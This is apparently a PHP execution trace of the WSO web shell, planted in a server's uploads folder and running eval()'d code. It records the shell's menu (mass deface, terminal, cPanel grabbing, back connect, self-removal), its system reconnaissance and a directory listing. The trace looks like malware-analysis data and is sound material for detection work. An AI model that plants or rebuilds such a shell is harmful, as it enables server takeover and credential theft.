4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>uploads/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	218	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	219	$opt_charsets = ''
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	222	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Infect', 'Terminal' => 'Console', 'Mass Title Edit' => 'Massuser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Back Connect' => 'Network']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	225	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	226	$menu = ''
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Sec. Info'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Files'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Mass Deface'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Mass Deface</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Adminer'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Adminer</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Terminal'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Terminal</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Mass Title Edit'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Massuser\',null,\'\',\'\',\'\')">Mass Title Edit</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Grab Cpanel'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Grab Cpanel</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Get Configs'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Get Configs</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Jumping'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">Jumping</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Cgi Telnet'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Cgi Telnet</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Back Connect'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Back Connect</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Self remove'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	229	$drives = ''
5	85	0	0.017543	1253088	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	85	1	0.017563	1253200
5	85	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	86	0	0.017582	1253200	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	86	1	0.017600	1253296
5	86	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	87	0	0.017619	1253216	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	87	1	0.017632	1253328
5	87	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	0	0.017651	1253328	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	1	0.017668	1253488
5	88	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
5	89	0	0.017688	1253536	phpversion	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	89	1	0.017701	1253600
5	89	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	90	0	0.017718	1253792	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'Y-m-d H:i:s'
5	90	1	0.017785	1256144
5	90	R			'2023-02-12 19:18:27'
5	91	0	0.017805	1255856	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	232015802368
6	92	0	0.017820	1255856	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	293	2	'%1.2f'	216.08155441284
6	92	1	0.017837	1256240
6	92	R			'216.08'
5	91	1	0.017851	1255896
5	91	R			'216.08 GB'
5	93	0	0.017865	1255856	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	203172294656
6	94	0	0.017879	1255856	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	293	2	'%1.2f'	189.21894454956
6	94	1	0.017894	1256240
6	94	R			'189.22'
5	93	1	0.017907	1255896
5	93	R			'189.22 GB'
5	95	0	0.017922	1255856	round	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	2	87.568300340918	2
5	95	1	0.017936	1255928
5	95	R			87.57
5	96	0	0.017952	1256240	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'/var/www/html/uploads/'
6	97	0	0.017966	1256240	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/'
6	97	1	0.017987	1256280
6	97	R			TRUE
6	98	0	0.018001	1256240	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/'
6	98	1	0.018018	1256280
6	98	R			TRUE
6	99	0	0.018031	1256240	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/'
6	99	1	0.018048	1256304
6	99	R			16895
6	100	0	0.018061	1256264	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
6	100	1	0.018178	1256304
6	100	R			'drwxrwxrwx'
5	96	1	0.018192	1256344
5	96	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
5	101	0	0.018211	1256776	gethostbyname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	238	1	'localhost'
5	101	1	0.018252	1256856
5	101	R			'127.0.0.1'
4	56	1	0.018271	1251880
4	102	0	0.018280	1251880	hardScandir	1		/var/www/html/uploads/wso.php(5) : eval()'d code	864	1	'/var/www/html/uploads/'
5	103	0	0.018295	1251880	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	330	1	'scandir'
5	103	1	0.018308	1251920
5	103	R			TRUE
5	104	0	0.018327	1251880	scandir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	331	1	'/var/www/html/uploads/'
5	104	1	0.018361	1252496
5	104	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
4	102	1	0.018382	1252464
4	102	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	864	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	867	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	881	$files = []
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	881	$dirs = []
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	882	$n = 6
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i = 0
4	105	0	0.018478	1252488	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'.'
4	105	1	0.018494	1252512
4	105	R			0
4	106	0	0.018506	1252472	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	106	1	0.018531	1253272
4	106	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	107	0	0.018573	1253240	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'.'
4	107	1	0.018587	1253280
4	107	R			0
4	108	0	0.018599	1253240	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	108	1	0.018623	1253896
4	108	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	109	0	0.018661	1254336	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.'
4	109	1	0.018677	1254392
4	109	R			1676247507
4	110	0	0.018690	1254304	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	110	1	0.018724	1254632
4	110	R			'2023-02-12 19:18:27'
4	111	0	0.018739	1254608	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.'
5	112	0	0.018753	1254608	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.'
5	112	1	0.018770	1254648
5	112	R			TRUE
5	113	0	0.018784	1254608	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.'
5	113	1	0.018800	1254648
5	113	R			TRUE
5	114	0	0.018813	1254608	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/.'
5	114	1	0.018827	1254648
5	114	R			16895
5	115	0	0.018839	1254608	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	115	1	0.018963	1254648
5	115	R			'drwxrwxrwx'
4	111	1	0.018979	1254688
4	111	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	116	0	0.018996	1254688	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.'
4	116	1	0.019011	1254728
4	116	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	117	0	0.019050	1254688	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.'
4	117	1	0.019069	1254728
4	117	R			FALSE
4	118	0	0.019084	1254688	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/.'
4	118	1	0.019100	1254752
4	118	R			FALSE
4	119	0	0.019114	1254712	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/.'
4	119	1	0.019128	1254752
4	119	R			TRUE
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	120	0	0.019152	1254664	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'..'
4	120	1	0.019167	1254688
4	120	R			0
4	121	0	0.019181	1254648	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	121	1	0.019206	1255448
4	121	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	122	0	0.019248	1254680	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'..'
4	122	1	0.019262	1254720
4	122	R			0
4	123	0	0.019275	1254680	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	123	1	0.019298	1255336
4	123	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	124	0	0.019334	1255200	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/..'
4	124	1	0.019350	1255264
4	124	R			1676247507
4	125	0	0.019363	1255168	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	125	1	0.019397	1255496
4	125	R			'2023-02-12 19:18:27'
4	126	0	0.019412	1255480	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/..'
5	127	0	0.019426	1255480	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/..'
5	127	1	0.019442	1255520
5	127	R			TRUE
5	128	0	0.019455	1255480	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/..'
5	128	1	0.019471	1255520
5	128	R			TRUE
5	129	0	0.019484	1255480	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/..'
5	129	1	0.019498	1255520
5	129	R			16895
5	130	0	0.019510	1255480	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	130	1	0.019626	1255520
5	130	R			'drwxrwxrwx'
4	126	1	0.019640	1255560
4	126	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	131	0	0.019657	1255560	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/..'
4	131	1	0.019671	1255600
4	131	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	132	0	0.019709	1254736	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/..'
4	132	1	0.019723	1254776
4	132	R			FALSE
4	133	0	0.019737	1254736	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/..'
4	133	1	0.019753	1254784
4	133	R			FALSE
4	134	0	0.019770	1254744	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/..'
4	134	1	0.019787	1254784
4	134	R			TRUE
4	135	0	0.019832	1254688	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	899	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	135	1	0.019859	1255128
4	135	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	899	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	136	0	0.019919	1255440	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'.htaccess'
4	136	1	0.019936	1255464
4	136	R			0
4	137	0	0.019949	1255424	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	137	1	0.019975	1256224
4	137	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	138	0	0.020017	1255456	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'.htaccess'
4	138	1	0.020030	1255496
4	138	R			0
4	139	0	0.020043	1255456	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	139	1	0.020067	1256112
4	139	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	140	0	0.020103	1255976	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.020120	1256032
4	140	R			1676247507
4	141	0	0.020134	1255936	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	141	1	0.020167	1256264
4	141	R			'2023-02-12 19:18:27'
4	142	0	0.020181	1256248	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.htaccess'
5	143	0	0.020195	1256248	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.htaccess'
5	143	1	0.020211	1256288
5	143	R			TRUE
5	144	0	0.020224	1256248	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.htaccess'
5	144	1	0.020241	1256288
5	144	R			FALSE
5	145	0	0.020254	1256248	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/.htaccess'
5	145	1	0.020268	1256288
5	145	R			33188
5	146	0	0.020280	1256248	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33188
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= '-'
5	146	1	0.020394	1256288
5	146	R			'-rw-r--r--'
4	142	1	0.020409	1256328
4	142	R			'<font color=white><b>-rw-r--r--</b></font>'
4	147	0	0.020425	1256328	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.020439	1256368
4	147	R			64
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4	148	0	0.020476	1255952	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.020495	1255992
4	148	R			TRUE
4	149	0	0.020508	1255896	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	149	1	0.020532	1256336
4	149	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	150	0	0.020591	1256648	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'data'
4	150	1	0.020606	1256664
4	150	R			0
